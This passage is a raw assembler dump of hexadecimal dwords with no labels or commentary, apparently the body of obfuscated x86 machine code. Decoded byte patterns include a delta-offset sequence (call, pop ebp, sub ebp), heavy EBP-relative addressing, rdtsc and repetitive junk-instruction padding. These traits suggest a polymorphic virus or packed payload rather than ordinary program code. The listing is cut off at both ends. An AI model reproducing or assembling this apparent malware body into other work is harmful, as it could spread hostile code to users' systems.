		dd 9D8975C3h, 6482C15h,	6A205089h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 171FC356h
		dd 8D0FD9E0h, 0Ch, 6870Fh, 9D890000h, 6482AF5h,	10860Fh
		dd 0BE90000h, 3B000000h, 1D4FBDBh, 46DC1F06h, 858D76ABh
		dd 64BCAD4h, 0B298D89h,	86890648h, 0B8h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 0DFC35343h, 11F19589h
		dd 6A0648h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	0C9C35242h, 8D294D2Bh, 0BD038C47h, 6481481h, 2F3D9D8Bh
		dd 0B5FF0648h, 64BB689h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 36C35747h, 0A3BB6F42h, 5195FFB6h, 6A064800h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0F14BC356h
		dd 21850910h, 50064830h, 0EE9h,	761D2B00h, 4B715678h, 0D5A1E786h
		dd 89681C5Bh, 8E0F2434h, 5, 0E804A6BFh,	89B5FF68h, 6A064BB6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0C130C353h, 0BA8B0DBCh, 0EF81B3C3h, 5A502E8Ah
		dd 165DBD03h, 95FF0648h, 6481429h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 5BC35343h, 0B52910DDh, 6481B3Dh
		dd 31A9BD83h, 0F000648h, 4E84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0D1411E52h
		dd 2632A1BAh, 800FFCC6h, 15h, 10E9h, 47E50700h,	85039A94h
		dd 0EED2396h, 0D5333C20h, 29BB50E5h, 895F37C7h,	81662434h
		dd 0FF21BFD3h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 4E9626C2h
		dd 0E2B35D32h, 13FD95FFh, 0B5FF0648h, 64BB689h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B2C35141h, 6B91DB79h
		dd 177D95FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 2945C1C3h, 4814DDBDh, 1DBD8306h
		dd 206482Fh, 6C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B968FC3h, 4803ADBDh
		dd 51858B06h, 6A064815h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0C68FC356h,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 6068C6C3h, 586CAD71h, 85C78AB3h, 64816E1h, 0
		dd 0B878C2BBh, 0F277E91Ch, 8BF5FFFFh, 53006AC1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 98FECE0h, 3717FC8Ah,	1BD319Ch, 8D064808h, 48125585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 45BD8951h, 5006480Fh, 0F240489h,	0D83h
		dd 8E900h, 65050000h, 0BD4EBBACh, 6A34B9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F6C35747h, 6AA195h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F4C35242h
		dd 8B2808CBh, 0B7CC32D7h, 4E858DE8h, 6A064CB4h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0B320C350h, 7E9A314Fh, 4FECA0BCh, 65D8D01h, 9D330648h
		dd 648118Dh, 6A05C083h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0D15BC356h,	0B767D38Ch
		dd 159D8B3Dh, 50064830h, 89F98B66h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6043C3h
		dd 4813ED95h, 0CE806h, 14B30000h, 6704EA34h, 2AC73D6Eh
		dd 0FE8B80EFh, 0BD8B615Eh, 6481401h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 3D348C3h
		dd 0CA70458Ch, 6A006AA4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FFEBC350h,	482B2D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0EF81667Bh, 8D8D13F3h, 64B9938h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C0C35646h, 0BD6CE064h
		dd 8D895A9Fh, 6482885h,	12E8D1FFh, 14000000h, 1E1B767Eh
		dd 459D3128h, 0B36D11A7h, 32CC29EAh, 21BD8923h,	5B06480Eh
		dd 30E5BD83h, 0F010648h, 5E85h,	8E900h,	5AD70000h, 60DDEB4Ch
		dd 26A875Ch, 0D16CB81h,	60907C87h, 870Fh, 0F08B0000h, 41BF5061h
		dd 90732003h, 95FF5B53h, 6480051h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 44C35343h, 8E57E5D7h, 81DB19B8h
		dd 41F9CDEFh, 719D8B4Fh, 0E906482Bh, 0E0Eh, 0E8h, 0ED815D00h
		dd 64CB458h, 0C7816660h, 880F693Eh, 6, 0E36AD081h, 0F616D43h
		dd 858DDEB7h, 64B93DAh,	15BDB501h, 60500648h, 860Fh, 0D68B0000h
		dd 24048961h, 2BC5BD8Bh, 0FF640648h, 35h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 64D98B45h, 2589h, 0FE8A0000h, 1AD185FFh, 0DF8B0648h
		dd 0D7816650h, 6A5B75BDh, 0FDB5FFFFh, 6A064806h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0B163C353h, 7EF057B7h, 14E90A3Ah, 99000000h,	0D2D984F2h
		dd 0B4E723F0h, 0BDDEC6Eh, 0FD4EFBA5h, 0FF61ECD2h, 4810D995h
		dd 12EE906h, 0BD8B0000h, 6481581h, 0DA8B00B0h, 9D3370E6h
		dd 64812E5h, 830F71E4h,	0
		dd 830F613Ch, 10Ch, 0B370B860h,	7E920ECh, 30000000h, 8F4756C6h
		dd 0E861013Ah, 0Ch, 526115A1h, 2F7A24BAh, 31F130Ah, 0F5BFB8Bh
		dd 8B60C8B6h, 48059D95h, 6BA6106h, 0E9000000h, 0Fh, 0DD752E77h
		dd 0ED07A31Ah, 53FDA90Ah, 0E997D4D1h, 8, 5031A3Dh, 0FCB935A5h
		dd 8501C18Bh, 6481871h,	8B04E8C1h, 481281BDh, 0F766F506h
		dd 318529E2h, 2B064804h, 0D2CF81C8h, 8B2725B1h,	12E8D1h
		dd 76D30000h, 0CB102966h, 0F0CDB944h, 0A73728F4h, 6F4E1DF3h
		dd 6E9h, 9AEE1C00h, 5B22C785h, 67E9h, 359D3300h, 8B064807h
		dd 885h, 616BBB00h, 0C0837BCBh,	0B2BB6607h, 0C0835Ch, 0A89BD29h
		dd 0D03B0648h, 0B830Fh,	0B5890000h, 6483145h, 33E9h, 0FF8D8B00h
		dd 8BFFFFFFh, 1E183DEh,	22840Fh, 83BF0000h, 830809EDh
		dd 0FFFFFFA5h, 9589FEFFh, 8, 0D78B6660h, 31ADB58Bh, 0E9610648h
		dd 0
		dd 3104B58Dh, 8D89064Ch, 64812F9h, 95FF006Ah, 648092Dh
		dd 5C38166h, 1182B967h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 219D75C3h, 0E18370E1h
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 1D7251EBh, 0C5E0D3B7h, 9ACF813Eh, 0FC104FA2h
		dd 3ABBC02Bh, 0BA2A0EACh, 0
		dd 14E8h, 7DF74800h, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h
		dd 7191A1CBh, 0CD95898Ch, 5F06481Fh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 6AD98Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 1324D9C3h, 0DDC97E71h, 8B60E306h
		dd 48283995h, 21858B06h, 61064832h, 959D23h, 880D0648h
		dd 0BF000000h, 36C12438h, 1405958Bh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 65E858C3h
		dd 26EF8166h, 258D8B7Fh, 6A064830h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8819C355h
		dd 158D9D31h, 0B5890648h, 648070Dh, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 9D8B5818h, 648239Dh, 0BE8h, 8241D100h
		dd 0CE6814A7h, 2814E7C3h, 0FDBD835Bh, 64812h, 9A840Fh
		dd 95010000h, 6480BD1h,	19C9BD29h, 0B80648h, 0BB000000h
		dd 46E18FA1h, 0C850Fh, 880F0000h, 6, 7151C381h,	8D8D66F1h
		dd 6484E80h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	93C35545h, 2903758Ch, 48005585h, 6240BB06h, 8589005Dh
		dd 64813D5h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 2B3AD9C3h, 641B84A4h, 13E9h, 0C679E700h
		dd 8AF0A31Dh, 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh,	2AD9BD83h
		dd 0F000648h, 47F84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 294D2BC9h, 0D9BD838Dh
		dd 106482Ah, 46D840Fh, 0EB810000h, 62318122h, 2AD9BD83h
		dd 0F030648h, 42486h, 59BD2900h, 60064800h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A7C35242h, 0D98C66B7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4FC35646h
		dd 3195BD89h, 0E1800648h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 18DDD3C2h
		dd 0ED122A00h, 55B50927h, 0A064832h, 7A840FC9h,	6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E3FDC353h, 0F8E84A9h, 1B1BB9CAh,	29DABF0Fh
		dd 48166995h, 59858B06h, 6A064811h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B64CC353h
		dd 8953BE10h, 480521B5h, 85335F06h, 6481219h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h, 1CB75013h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 157CC353h, 0FEA2A21Eh,	13CD8D89h
		dd 6A0648h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 18h,	0EEC35141h, 4ED552CAh, 22998D29h, 4E80648h, 0FF000000h
		dd 66001F03h, 8A50DA8Bh, 24448BFCh, 0FA8B6604h,	5660008Bh
		dd 0CE8h, 0D4589000h, 7B5AC48Ch, 378C7507h, 665A5E7Bh
		dd 8961D18Bh, 8B042444h, 8B6658DEh, 0FFDE8BDFh,	48074195h
		dd 0F1BD0306h, 89064801h, 482FB1B5h, 89858906h,	6A064BB6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 1539C352h, 158BB6A9h, 1BE08953h, 6AB96660h
		dd 0CFBF0F6Dh, 0FE8B6661h, 1A0E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 81858B10h
		dd 0B064BB6h, 482B65BDh, 1800C706h, 80000000h, 0B58B4EE3h
		dd 64BB685h, 54D9D8Bh, 858B0648h, 6481A85h, 1AC59D89h
		dd 66600648h, 8D29C38Bh, 64801F1h, 6A068961h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 804FC356h, 0D6BBE0DBh, 8B449B68h, 48115985h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 3652E578h, 890F0EBFh, 6, 3315BD8Bh, 63BF0648h, 89503527h
		dd 81660446h, 965CA6E3h, 66525050h, 0F3872BBh, 0FE831h
		dd 35E70000h, 7B9E0E03h, 0B3C4D39Bh, 0BE431613h, 5F5F5302h
		dd 8996585Ah, 480F0985h, 81B5FF06h, 66064BB6h, 681870BBh
		dd 2355F4D8h, 27243481h, 80234AF7h, 858D09F7h, 64BB689h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 17C35747h
		dd 66904159h, 50A147BBh, 48E0Fh, 0BF660000h, 6A90786Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0DCDC351h, 39BD8BF2h, 0FF06482Ah,	48074195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 29954E63h, 0F1949E5h, 0BD8BFFBFh, 64811B1h
		dd 10E8h, 0C3AAAA00h, 0F3133EA3h, 0BD643B29h, 72737C47h
		dd 0DEB70F17h, 6A615Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 424D3AC3h, 8BCE7C54h, 318501DEh
		dd 0C706480Bh, 482AD985h, 306h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C8E4326h
		dd 8E0FA0D4h, 19h, 13830Fh, 0EE90000h, 4000000h, 0BD55D29Ch
		dd 8318A68Eh, 0D8B1AAF0h, 89BD83EEh, 64BB6h, 27840Fh, 0BF0F0000h
		dd 3AE9DBh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 170424h, 52420000h, 0FA1377C3h, 0C305013h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 6652DA8Bh, 5F1C4ABBh
		dd 168A0Fh, 11E90000h, 0F0000000h, 6B5F432Dh, 0DAE26930h
		dd 0E9B68718h, 0A5E073CAh, 2AD9BD83h, 0F030648h, 4BE85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 415BC8AAh, 0AE3C4DE4h, 5800Fh, 0D0BF0000h
		dd 0F3814E4h, 0BD83D9B7h, 64BB689h, 80840F00h, 0BF000004h
		dd 61AFF022h, 0B689B5FFh, 0EB80064Bh, 0F595FFB4h, 6A064809h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 5535C352h, 241D61C6h, 0DE19D8Bh, 9D290648h
		dd 6482735h, 0B67DB58Bh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 1C4647C3h, 6AE78065h
		dd 4327BB66h, 106C7h, 12E80001h, 1F000000h, 0BE34C82Dh
		dd 475B968Dh, 9E56DFFAh, 2F527473h, 5BDE8BB2h, 89DE8B50h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 310E8CC3h, 0FD70AE8Bh, 0BE9F894h,	39000000h
		dd 4111934Eh, 0A73D8EC2h, 0B5FFCA99h, 64BB689h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CCC35242h, 39826B61h
		dd 6195FFh, 6A0648h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 81DD52C3h, 5AA3BFh, 8D2951DCh, 6480CB9h
		dd 0B67DB58Bh, 890F064Bh, 6, 9DA3D381h,	858B378Ch, 6480F25h
		dd 28E0F51h, 8B000000h,	86895FD8h, 0C4h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0FCC35141h, 8B59B84Eh
		dd 483061BDh, 12E906h, 7C510000h, 83CCC8D5h, 0DB524884h
		dd 6A8ABB0h, 0C17082C0h, 1405958Bh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BB661BC3h
		dd 0E9520B61h, 0Ch, 0B3ABA9E0h,	3C326768h, 11FB06A5h, 4C2835Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C7C35040h
		dd 4D16F506h, 0CC11A4E6h, 205089BAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0BC35141h, 0EBFABB88h, 0B58954D3h
		dd 6481CE1h, 10E9h, 89EB8800h, 35F770C8h, 0D607C693h, 13818A5h
		dd 0D4858D82h, 66064BCAh, 0BB19C1BBh, 26F02927h, 0B88689h
		dd 6A0000h, 0E0DBD8Bh, 0B5FF0648h, 64BB689h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9C35141h, 5195FFh
		dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 3EDDB1C3h, 12DE8E25h, 0D8BF0F39h,	859D8B50h
		dd 5F06482Bh, 0DF8B6650h, 6A243489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 44EEC352h
		dd 0DFBF0F32h, 0B689B5FFh, 6A064Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 60A158C3h
		dd 0D971B430h, 0FE8B5705h, 2995FF5Bh, 6A064814h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 7524C352h, 8932428Bh, 31A9BD83h, 0F000648h, 6384h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D8B6F83h, 6480F89h,	68C0Fh,	9D890000h, 6481099h, 4880F50h
		dd 66000000h, 89C323BBh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 6BD180C3h, 49B53156h
		dd 5B06482Bh, 0B689B5FFh, 8166064Bh, 0FFCCF3DBh, 4813FD95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0BDBD8BC4h, 0FF064819h, 4BB689B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 78B68491h, 5A40A16h,	498D09B0h, 0FF06480Eh, 48177D95h
		dd 3224BB06h, 0BD837089h, 6482F1Dh, 57840F02h, 0E9000000h
		dd 14h,	0B893273Eh, 0A1F0C024h,	87602E08h, 7CBA3A0Eh, 79723574h
		dd 1551858Bh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 542FE4C3h, 898D318Bh, 0C606482Ah
		dd 0BE90000h, 4A000000h, 2B111D3Ch, 0B7ECC875h,	85C7D2A8h
		dd 64816E1h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4FC35343h
		dd 21BD23E1h, 0E9064817h, 0FFFFF2BBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 81C35343h, 6DBD3347h, 89064807h
		dd 480A599Dh, 7E906h, 7C3F0000h, 9FBB0B8Bh, 60C18B48h
		dd 29EA8166h, 0ADBD8BB3h, 61064809h, 16DD9D8Bh,	858D0648h
		dd 6481255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	6EC35747h, 602E6BEDh, 0C29E281h, 0BD015330h, 6482FD1h
		dd 8950F561h, 11E82404h, 1C000000h, 0CB9C6B8Bh,	0B54477D0h
		dd 5376A614h, 489DB260h, 6A5FD98Ah, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8487C613h
		dd 0CE9CB5Ch, 0B4000000h, 3D38542Eh, 831B8121h,	6A7FFFC5h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 27AB5D4Fh, 9D123A36h, 12E860h, 850B0000h
		dd 1B161B2Eh, 8E0801FEh, 0B99AAACBh, 0A68D4E4Bh, 3BA106BEh
		dd 8B665979h, 858D61D0h, 64CC4C9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0BC35040h, 6268088Bh, 0E8F33794h
		dd 14h,	7DFFD3E4h, 2805707h, 336E05E2h,	6FFCC26Fh, 806B0F15h
		dd 1655BD89h, 835F0648h, 5E805C0h, 0CD000000h, 0BDFDBB11h
		dd 5FDFBF0Fh, 158E0F50h, 50000000h, 31BF6652h, 0E8310FF9h
		dd 5, 8CFF9CDFh, 585A5B81h, 8B240489h, 482A099Dh, 830F5106h
		dd 2, 6A5BACB7h, 51006A00h, 5FDEB70Fh, 2B2D95FFh, 6A0648h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 66115EC3h, 6084A682h, 31AD8D89h, 0C1B50648h,	388D8D61h
		dd 6A064B99h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 63CC353h, 0A5FA35ECh, 4EEF8166h
		dd 6AD1FF9Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0C9D0C351h, 5F54232Fh,	83D98B66h
		dd 4830E5BDh, 850F0106h, 7Ah, 5E8h, 49420000h, 0AE916D8h
		dd 12000000h, 6779F64Eh, 9E3E140Dh, 26A5F2Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 499CF11Fh
		dd 8B098422h, 606090FAh, 0AE9h,	94B6B800h, 4DF8613Bh, 6083BD88h
		dd 50516161h, 5A310F52h, 50615F58h, 6E9h, 7BB38C00h, 906C5E9Eh
		dd 0B19D8951h, 5F064805h, 5195FFh, 57E90648h, 0E800000Fh
		dd 0
		dd 0D3ED815Dh, 6A064CC4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0B2BCC350h,	895AD161h
		dd 48330D9Dh, 0C59D2306h, 0FC064815h, 93DA858Dh, 6A064Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 7437FFC3h, 50FB8B86h, 8C7179BBh, 24048965h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D0C35747h, 5A4F764Ah
		dd 25925D14h, 35FF64h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4CE8C353h
		dd 0E9B34411h, 258964h,	57000000h, 13059D89h, 0FF5B0648h
		dd 481AD185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 2ABE9BF8h, 3478F440h, 85BB22EEh
		dd 6A38043Dh, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 1A752DBAh, 6310F14Bh, 8D31AADCh
		dd 6481FADh, 2FB5B5FFh,	0F7810648h, 5E487725h, 10D995FFh
		dd 0F9E90648h, 0B0000000h, 5860F00h, 0BB000000h, 5C8311h
		dd 0E4F970E6h, 2870F71h, 0B3000000h, 0F613C7Dh,	0D783h
		dd 5CBB6600h, 0C8B60FF8h, 0BAD88B66h, 6, 2E6D9D89h, 9D030648h
		dd 648083Dh, 0BF60C18Bh, 48CCBFD1h, 8D0Fh, 0C1610000h
		dd 0E95304E8h, 5, 70D3C75Ch, 0F7665FA8h, 0BD8B60E2h, 6480085h
		dd 66A0BB66h, 8AC82B61h, 0B7D18BF9h, 0C9B5890Eh, 0E9064829h
		dd 7Ch,	1B019529h, 858B0648h, 1, 23919D8Bh, 0C0830648h
		dd 0F5516007h, 0D281665Eh, 8361C30Ch, 8E0F00C0h, 6, 604CE381h
		dd 0D03B0867h, 0B830Fh,	95890000h, 64827C9h, 3BE9h, 0FF8D8B00h
		dd 0FFFFFFFh, 58Fh, 36B6BB00h, 0E1835589h, 21840F01h, 0F000000h
		dd 385h, 0F8B70F00h, 0A583DCB7h, 0FFFFFFFFh, 19589FEh
		dd 53000000h, 0E95BD9B7h, 0
		dd 4286B58Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 26B26BC3h, 0E947CD46h, 10h, 97030C6Bh
		dd 496705B5h, 52F3A68Bh, 578DB984h, 0FFF8006Ah,	48092D95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0C9BD23D9h, 0B906480Eh, 106Ch, 659D29h
		dd 0E1830648h, 0AE9FCh,	0D5FA0000h, 0F178A726h,	0E5720987h
		dd 0BE9FCh, 0BE8D0000h,	0AAB8E9A4h, 438E7049h, 6AC02BF6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 7E4C351h,	0D8F7BDD4h, 0C4425D04h,	810FD22Bh
		dd 9, 3830Fh, 8B660000h, 0C233ADDAh, 0D003E8D1h, 7504E983h
		dd 0AFEF81F4h, 6A5F738Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 100FC352h, 69BD0BF1h
		dd 0FC064815h, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0E8F3A478h, 894C5D76h
		dd 4807A58Dh, 5958B06h,	60064814h, 300D8D89h, 8D290648h
		dd 648203Dh, 0FABF0F61h, 30258D8Bh, 8B660648h, 50D88AFEh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0D98B6658h
		dd 3221BD8Bh, 0BD830648h, 64812FDh, 79840F00h, 89000000h
		dd 48334D9Dh, 0B806h, 0BD8B0000h, 648116Dh, 12E9h, 5E4B900h
		dd 68633CF0h, 846A1DF7h, 0ADB3DE91h, 8D555A46h,	484E808Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 336BBFB5h, 0E1FF2782h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 55C35343h, 63A3D62Dh, 0CB81EDC1h
		dd 361DA813h, 2AD9BD83h, 0F000648h, 57684h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0FF21935Eh, 2AD9BD83h, 0F010648h, 56584h, 11E900h, 2730000h
		dd 96F13923h, 0E6F70BF7h, 0AB3A598Eh, 60B4026Ah, 0DED9529h
		dd 858B0648h, 6480919h,	0D9BD8361h, 306482Ah, 4FE860Fh
		dd 8D890000h, 6480845h,	53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0EE9B1D9h, 2C000000h
		dd 0F943C7CCh, 0C18899Bh, 958815BEh, 298589C3h,	66064815h
		dd 0BD8BD98Ch, 64812A1h, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1F66C357h
		dd 0FCADEB7Ch, 0AD88B66h, 0F8840FC9h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 5431C350h, 0E9FB8B66h, 12h, 2E20908Fh, 0CF0B508h, 0A226D616h
		dd 0CF1E58DAh, 858BF720h, 6481159h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 85C35242h, 3447457Dh, 0BD8BD4FFh
		dd 6482B75h, 12198533h,	6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0B0D04EC3h, 0EC6B3BF6h
		dd 9D8B5668h, 6482F65h,	0DF8B6650h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 9EFC353h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 8E6F2FC3h, 4E880h, 3FF0000h, 8B50001Fh
		dd 24448BD9h, 0EE904h, 0E3590000h, 23431125h, 0DD6DA388h
		dd 4C964442h, 0FB8B008Bh, 4244489h, 1111C9BBh, 6A5879h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 5467DAC3h, 4E331F03h, 15940A5h, 4829759Dh, 0E8C0F06h
		dd 0E9000000h, 9, 0DBEB22C6h, 1E22EB0Bh, 4195FF51h, 6A064807h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B3AAC355h, 0BED8E139h, 9DBD8BC9h, 8906480Fh
		dd 4BB68985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
